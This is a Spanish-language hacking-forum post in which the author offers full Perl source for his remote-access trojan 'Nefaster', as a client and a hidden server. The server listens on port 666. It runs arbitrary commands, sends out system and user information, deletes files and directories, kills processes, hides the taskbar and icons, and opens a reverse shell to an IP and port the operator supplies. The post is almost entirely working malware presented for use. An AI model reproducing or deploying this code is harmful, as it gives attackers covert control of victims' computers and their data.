elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.
 
Inicio Ayuda Buscar Ingresar Registrarse
29 Mayo 2012, 09:19  


Tema destacado: Deseas probar algunas mejoras a la interfaz del foro? Prueba cake! acerca de

+  Foro de elhacker.net
|-+  Programación
| |-+  Scripting (Moderadores: Novlucker, Leo Gutiérrez., EleKtro H@cker)
| | |-+  [Perl] Troyano Nefaster
0 Usuarios y 2 Visitantes están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: [Perl] Troyano Nefaster  (Leído 116 veces)
Doddy

Desconectado Desconectado

Mensajes: 220



Ver Perfil
[Perl] Troyano Nefaster
« en: 9 Octubre 2011, 17:47 »

Bueno es es mi troyano Nefaster , en esta version le arregle varias cosas que pasare a detallar

  • Mostrar Informacion
  • Navegador de archivos
  • Cambiar directorio de navegacion
  • Crear archivo
  • Borrar archivo
  • Borrar directorio
  • Reproducir musica o videos poniendo la ruta en la opcion
  • Parar reproduccion
  • Abrir lectora de CD
  • Cerrar lectora de CD
  • Puertos abiertos
  • Mensaje
  • Ejecutar comandos
  • Esconder barra de tareas
  • Devolver barra de tareas
  • Esconder iconos del escritorio
  • Devolver iconos del escritorio
  • Administrar procesos con posibilidad de cerrar el que quieran
  • Reverse Shell si es que quieren ejecutar comandos de forma mas comoda


El codigo del cliente es este


Código
#!usr/bin/perl
#Nefester (Cliente) 0.1 By Doddy H
 
 
use IO::Socket;
use Cwd;
 
&menu;
 
sub head {
 
system 'cls';
 
print q(
 
 
           E      F                   TT    E        
NNNNNNNEEEEEE FFFFFF   AAA   SSSSSTTTTTTEEEEEE RRRRRR
NN NN  E EE   FFFF   A AA  S  S T TT T  E EE   RRRRR
NNNNN  E EE   FF F   AAAAA S     T TT   E EE   RR  R
NNNNN EEEEE  FFFFF  AAA AA  SSS S  TT  EEEEE  RRRRR  
NNNNN  E EEE  FFF    AAAAA S  SSS  TT   E EEE  RR R  
NN NN  EEEE E FF    AAA AA SS  SS  TT   EEEE E RR  R
NNN NN EEEEEEEFFFF  AAA  AAA  SSS  TTTT EEEEEEE RRR RR
                           SS                 R   R  
 
 
 
);
 
}
 
sub menu {
 
&head;
 
print "[Target] : ";
chomp(my $ip = <STDIN>);
 
 
 
my $socket = new IO::Socket::INET(
PeerAddr => $ip,
PeerPort => 666,
Proto => 'tcp',
Timeout  => 5
);
 
if ($socket) {
$socket->close;
&menuo($ip);
} else {
print "\n\n[-] Target no infectado\n";
<STDIN>;
&menu;
}
 
}
 
sub menuo {
 
&head;
 
print "[$_[0]] : Servidor Activado\n\n";
print q(
1 : Informacion
2 : Navegador
3 : Abrir CD
4 : Cerrar CD
5 : Puertos abiertos
6 : Mensaje
7 : CMD
8 : Esconder barra de tareas
9 : Devolver barra de tareas
10 : Esconder iconos
11 : Devolver iconos
12 : Administrar procesos
13 : Reverse Shell
14 : Cambiar IP
15 : Salir
 
 
);
print "[Opcion] : ";
chomp(my $opcion = <STDIN>);
 
 
if ($opcion eq 1) {
print "\n\n[+] Informacion\n\n";
$re = daryrecibir($_[0],"infor");
if ($re=~/:(.*):(.*):(.*):(.*):(.*):/) {
print "[Dominio] : $1\n";
print "[Chip] : $2\n";
print "[Version] : $3\n";
print "[Nombre] : $4\n";
print "[OS] : $5\n";
<stdin>;
}
&menuo($_[0]);
}
elsif ($opcion eq 2) {
 
menu1:
print "\n\n[+] Navegacion de archivos\n\n";
$cwd = daryrecibir($_[0],"getcwd"."\r\n");
print "tengo $cwd\n";
show($_[0],"/");
&menu2;
 
sub menu2 {
print "\n\n[Opciones]\n\n";
print "1 - Cambiar directorio\n";
print "2 - Crear archivo\n";
print "3 - Borrar archivo\n";
print "4 - Borrar directorio\n";
print "5 - Reproducir musica\n";
print "6 - Parar reproduccion\n";
print "7 - Volver al menu inicial\n\n";
print "[Opcion] : ";
chomp(my $op = <stdin>);
 
if ($op eq 1) {
print "\n\n[+] Directorio : ";
chomp (my $dir=<stdin>);
$ver = daryrecibir($_[0],"chdirnow K0BRA".$dir."K0BRA");
if ($ver=~/ok/ig) {
print "\n\n[+] Directory changed\n\n";
}
show($_[0],$dir);
&menu2;
<stdin>;
}
 
elsif ($op eq 2) {
 
print "\n\n[Nombre] : ";
chomp(my $name = <stdin>);
print "\n\n[Contenido] : ";
chomp(my $code = <stdin>);
 
daryrecibir($_[0],"crearnow K0BRA".$name."K0BRA ACATOY".$code."ACATOY");
 
print "\n\n[+] Archivo creado \n\n";
<stdin>;
}
elsif ($op eq 3) {
print "\n\n[Archivo a borrar] : ";
chomp(my $file = <stdin>);
$re = daryrecibir($_[0],"borrarfile K0BRA".$file."K0BRA");
if ($re=~/ok/) {
print "\n\n[+] Archivo Borrado\n\n";
} else {
print "\n\n[-] Error\n\n";
}
<stdin>;
}
 
elsif ($op eq 4) {
print "\n\n[Directorio a borrar] : ";
chomp(my $file = <stdin>);
$re = daryrecibir($_[0],"borrardir K0BRA".$file."K0BRA");
if ($re=~/ok/) {
print "\n\n[+] Directorio Borrado\n\n";
} else {
print "\n\n[-] Error\n\n";
}
<stdin>;
}
 
elsif ($op eq 5) {
print "\n\n[Archivo] : ";
chomp(my $file = <stdin>);
print "\n\n[+] Reproduciendo\n\n";
daryrecibir($_[0],"playmusic K0BRA".$file."K0BRA");
<stdin>;
}
elsif ($op eq 6) {
print "\n\n[+] Reproduccion detenida\n\n";
daryrecibir($_[0],"pararmusic");
<stdin>;
}
elsif ($op eq 7) {
&menuo($_[0]);
}
else {
show($_[0],"/");
}
goto menu1;
}
}
 
elsif ($opcion eq 3) {
daryrecibir($_[0],"opencd");
&menuo($_[0]);
}
 
elsif ($opcion eq 4) {
daryrecibir($_[0],"closedcd");
&menuo($_[0]);
}
 
elsif ($opcion eq 5) {
print "\n[Puertos Abiertos]\n\n";
$re = daryrecibir($_[0],"porters");
while ($re=~/:(.*?):/ig) {
if ($1 ne "") {
print "[+] $1\n";
}
}
<stdin>;
&menuo($_[0]);
}
elsif ($opcion eq 6) {
print "\n[Mensaje] : ";
chomp (my $msg = <stdin>);
daryrecibir($_[0],"msgbox $msg");
<stdin>;
&menuo($_[0]);
}
elsif ($opcion eq 7) {
 
menu:
 
my $cmd,$re;
 
print "\n\n>";
 
chomp(my $cmd= <stdin>);
 
if ($cmd=~/exit/ig) {
&menuo($_[0]);
}
 
$re = daryrecibir($_[0],"comando :$cmd:");
print "\n".$re;
goto menu;
&menuo($_[0]);
}
elsif ($opcion eq 8) {
daryrecibir($_[0],"iniciochau");
&menuo($_[0]);
}
elsif ($opcion eq 9) {
daryrecibir($_[0],"iniciovuelve");
&menuo($_[0]);
}
elsif ($opcion eq 10) {
daryrecibir($_[0],"iconochau");
&menuo($_[0]);
}
elsif ($opcion eq 11) {
daryrecibir($_[0],"iconovuelve");
&menuo($_[0]);
}
 
elsif ($opcion eq 12) {
 
&reload($_[0]);
 
sub reload {
 
my @pro;
my @pids;
 
my $sockex = new IO::Socket::INET(
PeerAddr => $_[0],
PeerPort => 666,
Proto => 'tcp',
Timeout  => 5
);
 
print $sockex "mostrarpro"."\r\n";
$sockex->read($re,5000);
$sockex->close;
 
chomp $re;
 
print "\n\n[+] Procesos encontrados\n\n";
 
while ($re=~/PROXEC(.*?)PROXEC/ig) {
if ($1 ne "") {
push(@pro,$1);
}
}
 
while ($re=~/PIDX(.*?)PIDX/ig) {
if ($1 ne "") {
push(@pids,$1);
}
}
 
$cantidad = int(@pro);
 
for my $num(1..$cantidad) {
if ($pro[$num] ne "") {
print "\n[+] Proceso : ".$pro[$num]."\n";
print "[+] PIDS : ".$pids[$num]."\n";
}
}
 
print q(
 
[Opciones]
 
 
1 - Refrescar lista
2 - Cerrar procesos
3 - Volver al menu
 
);
 
print "\n[Opcion] :  ";
chomp(my $opc = <stdin>);
 
if ($opc=~/1/ig) {
&reload($_[0]);
}
elsif($opc=~/2/ig) {
print "\n[+] Write the name of the process : ";
chomp(my $numb = <stdin>);
print "\n[+] Write the PID of the process : ";
chomp(my $pid = <stdin>);
$re = daryrecibir($_[0],"chauproce K0BRA".$pid."K0BRA".$numb."K0BRA");
if ($re=~/ok/ig) {
print "\n\n[+] Proceso cerrado\n\n";
} else {
print "\n\n[-] Error\n\n";
}
<stdin>;
&reload($_[0]);
}
elsif($opc=~/3/ig) {
&menuo($_[0]);
}
else {
&reload;
}
}
}
 
elsif ($opcion eq 13) {
print "\n\n[IP] : ";
chomp(my $ip = <stdin>);
print "\n\n[Port] : ";
chomp(my $port = <stdin>);
print "\n\n[+] Connected !!!\n\n";
$re = daryrecibir($_[0],"backshell :$ip:$port:");
}
elsif ($opcion eq 14) {
&menu;
}
elsif ($opcion eq 15) {
exit 1;
}
else {
&menuo;
}
}
 
sub daryrecibir {
 
my $sockex = new IO::Socket::INET(
PeerAddr => $_[0],
PeerPort => 666,
Proto => 'tcp',
Timeout  => 5
);
 
print $sockex $_[1]."\r\n";
$sockex->read($re,5000);
$sockex->close;
return $re."\r";
}
 
sub show {
 
my $re = daryrecibir($_[0],"getcwd"."\r\n");
print "\n\n[+] Directorio Actual : $re\n\n";
$re1 = daryrecibir($_[0],"dirnow ACATOY".$re."ACATOY"."\r\n");
print "\n\n[Directorios]\n\n";
 
while ($re1=~/DIREX(.*?)DIREX/ig) {
if ($1 ne "") {
print "[+] $1\n";
}
}
 
print "\n\n[Archivos]\n\n";
 
while ($re1=~/FILEX(.*?)FILEX/ig) {
if ($1 ne "") {
print "[+] $1\n";
}
}
 
}
 
#
# ¿ The End ?
#
 

Y el server

Código
#!/usr/bin/perl
#Nefester (sERVidor) 0.1 By Doddy H
#Compilar con perl2exe para sacar consola
 
use IO::Socket;
use Socket;
use Win32;
use Cwd;
use Win32::MediaPlayer;
use Win32::Process::List;
use Win32::Process;
use Win32::API;
 
use constant SW_HIDE => 0;
use constant SW_SHOWNORMAL => 1;
 
my $a = new Win32::API('user32', 'FindWindow', 'PP', 'N');
my $b = new Win32::API('user32', 'ShowWindow', 'NN', 'N');
 
$test = new Win32::MediaPlayer;
 
my $sock = IO::Socket::INET->new(LocalPort => 666,
Listen => 10,
Proto => 'tcp',
Reuse => 1);
 
print "online\n";
 
while (my $con = $sock->accept){
$resultado = <$con>;
print "boludo mando : $resultado\n";
 
if ($resultado=~/msgbox (.*)/ig) {
Win32::MsgBox($1,0,"Mensaje de Dios")
}
 
if ($resultado=~/backshell :(.*):(.*):/ig) {
 
my ($ip,$port) = ($1,$2);
 
print "conectando $ip con $port\n";
 
$ip =~s/(\s)+$//;
$port =~s/(\s)+$//;
 
conectar($ip,$port);
tipo();
 
sub conectar {
socket(REVERSE, PF_INET, SOCK_STREAM, getprotobyname('tcp'));
connect(REVERSE, sockaddr_in($_[1],inet_aton($_[0])));
open (STDIN,">&REVERSE");
open (STDOUT,">&REVERSE");
open (STDERR,">&REVERSE");
}
 
sub tipo {
print "\n[*] Reverse Shell Starting...\n\n";
if ($^O =~/Win32/ig) {
infowin();
system("cmd.exe");
} else {
infolinux();
#root();  
system("export TERM=xterm;exec sh -i");
}
}
 
sub infowin {
print "[+] Domain Name : ".Win32::DomainName()."\n";
print "[+] OS Version : ".Win32::GetOSName()."\n";
print "[+] Username : ".Win32::LoginName()."\n\n\n";
}
 
sub infolinux {
print "[+] System information\n\n";
system("uname -a");
print "\n\n";
}
 
 
}
 
if ($resultado =~/opencd/ig) {
 
use Win32::API;
 
my $ventana = Win32::API->new("winmm", "mciSendString", "PPNN", "N");
my $rta = ' ' x 127;  
$ventana->Call('set CDAudio door open', $rta, 127, 0);
print $con "ok"."\r\n";
}
 
if ($resultado=~/chauproce K0BRA(.*)K0BRA(.*)K0BRA/ig) {
 
my ($pid,$numb) = ($1,$2);
 
$pid=~s/(\s)+$//;
$numb=~s/(\s)+$//;
 
if (Win32::Process::KillProcess($pid,$numb)) {
print $con "ok\r\n";
}
}
 
if ($resultado =~/closedcd/ig) {
 
use Win32::API;
 
my $ventana = Win32::API->new("winmm", "mciSendString", "PPNN", "N");
my $rta = ' ' x 127;  
$ventana->Call('set CDAudio door closed', $rta, 127, 0);
print $con "ok"."\r\n";
}
 
if ($resultado=~/borrarfile K0BRA(.*)K0BRA/ig) {
 
my $filex = $1;
 
$filex =~s/(\s)+$//;
 
print getcwd()."/".$filex."\n\n";
 
if (unlink(getcwd()."/".$filex)) {
print $con "ok\r\n";
}
 
}
 
 
 
if ($resultado=~/infor/ig) {
print "mando";
use Win32;
 
 
my $domain = Win32::DomainName();
my $chip = Win32::GetChipName();
my $version = Win32::GetOSVersion();
my $nombre = Win32::LoginName();
my  $os = Win32::GetOSName();
 
print $con ":".$domain.":".$chip.":".$version.":".$nombre.":".$os.":"."\r\n";
}
 
 
if ($resultado=~/porters/ig) {
 
use Net::Netstat::Wrapper;
 
$por = "";
@ports = Net::Netstat::Wrapper->only_port();
for(@ports) {
$por = $por.":".$_;
}
print $con $por."\r\n";
}
 
 
if ($resultado=~/playmusic K0BRA(.*)K0BRA/ig) {
 
my $cancion = $1;
 
$cancion =~s/(\s)+$//;
 
$test->load($cancion);
$test->play;
 
}
 
if ($resultado=~/chdirnow K0BRA(.*)K0BRA/ig) {
 
my $dir = $1;
$dir =~s/(\s)+$//;
 
 
if (chdir($dir)) {
print $con "ok\r\n";
}
 
}
 
if ($resultado=~/borrardir K0BRA(.*)K0BRA/ig) {
 
my $veox = $1;
$veox =~s/(\s)+$//;
 
if (rmdir(getcwd()."/".$veox)) {
print $con "ok\r\n";
}
}
 
 
 
if ($resultado=~/pararmusic/ig) {
$test->close;
}
 
 
 
if ($resultado=~/dirnow ACATOY(.*)/ig) {
 
my $real = $1;
chomp $real;
 
$real =~s/(\s)+$//;
 
print "real $real\n\n";
 
my @archivos = coleccionar($real);
 
for (@archivos) {
print $_."\n";
my $todo = $real."/".$_;
 
print $todo."\n";
 
if (-f $todo) {
print $con "FILEX".$_."FILEX"."\r\n";
print "File : ".$_."\n";
}
 
if (-d $todo) {
print $con "DIREX".$_."DIREX"."\r\n";
print "Dir : ".$_."\n";
}
 
}
}
 
sub coleccionar {
opendir DIR,$_[0];
my @archivos = readdir DIR;
close DIR;
return @archivos;
}
 
if ($resultado=~/getcwd/ig) {
print "envie ".getcwd()."\n\n";
print $con getcwd()."\r\n";
}
 
 
if ($resultado=~/mostrarpro/ig) {
 
 
my $new = Win32::Process::List->new();  
my %process = $new->GetProcesses();
for my $pid (keys %process) {
print $con "PROXEC".$process{$pid}."PROXEC\r\n";
print $con "PIDX".$pid."PIDX\r\n";
 
}
 
 
}
 
if ($resultado=~/crearnow K0BRA(.*)K0BRA ACATOY(.*)ACATOY/ig) {
my $name = $1;
my $file = $2;
 
chomp $name;
chomp $file;
 
$name =~s/(\s)+$//;
$file =~s/(\s)+$//;
 
print "name is $name end\n";
print "file is $file end\n";
 
open FILE,">>".$name;
print FILE $file."\n";
close FILE;
}
 
if ($resultado=~/comando :(.*):/ig) {
print "llego comando $1\n";
print $resultado;
my $temp = qx($1);
print $con $temp."\r";
}
 
if ($resultado=~/iniciochau/g) {
inicio_chau("Shell_TrayWnd");
}
if ($resultado=~/iniciovuelve/g) {
inicio_vuelve("Shell_TrayWnd");
} else {
print $resultado;
}
if ($resultado=~/iconovuelve/g) {
icono_vuelve("Program Manager");
}
if ($resultado=~/iconochau/g) {
icono_chau("Program Manager");
}
 
 
sub icono_vuelve {
$handle = $a->Call(0,$_[0]);
$b->Call($handle,SW_SHOWNORMAL);
 
}
 
sub icono_chau {
 
$handle = $a->Call(0,$_[0]);
$b->Call($handle,SW_HIDE);
 
}
 
sub inicio_vuelve {
$handlex = $a->Call($_[0],0);
$b->Call($handlex,SW_SHOWNORMAL);
 
}
 
sub inicio_chau {
 
$handlea = $a->Call($_[0],0);
$b->Call($handlea,SW_HIDE);
 
}
 
 
}
 
 
# ¿ The End ?
 
 
 


En línea

Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
perl
Desarrollo Web
chita_GB2 1 316 Último mensaje 4 Abril 2004, 05:34
por Morris
Ayuda con el Active Perl + Perl
Hacking Básico
Aironjack 3 926 Último mensaje 8 Marzo 2005, 07:52
por Aironjack
Que significa #!/usr/bin/perl ?? como ejecutamos un exploit en perl...
Bugs y Exploits
mousehack 7 2,198 Último mensaje 4 Noviembre 2005, 23:16
por BenRu
subir el server de un nuevo troyano desde el cliente de otro troyano.
Análisis y Diseño de Malware
ebola_30 10 2,041 Último mensaje 27 Enero 2008, 00:56
por ebola_30
Libros de Perl online [PERL]
Scripting
madpitbull_99 0 854 Último mensaje 18 Mayo 2011, 21:49
por madpitbull_99
Powered by SMF 1.1.16 | SMF © 2006-2008, Simple Machines